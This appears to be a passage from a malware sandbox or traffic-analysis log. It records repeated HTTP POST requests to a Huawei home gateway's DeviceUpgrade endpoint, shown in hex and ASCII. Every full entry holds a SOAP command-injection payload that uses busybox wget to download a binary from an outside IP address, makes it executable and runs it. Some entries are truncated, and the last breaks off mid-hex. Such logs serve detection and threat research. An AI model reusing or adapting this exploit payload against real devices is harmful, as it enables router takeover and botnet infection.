Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:s
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:s
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:s
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:s
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 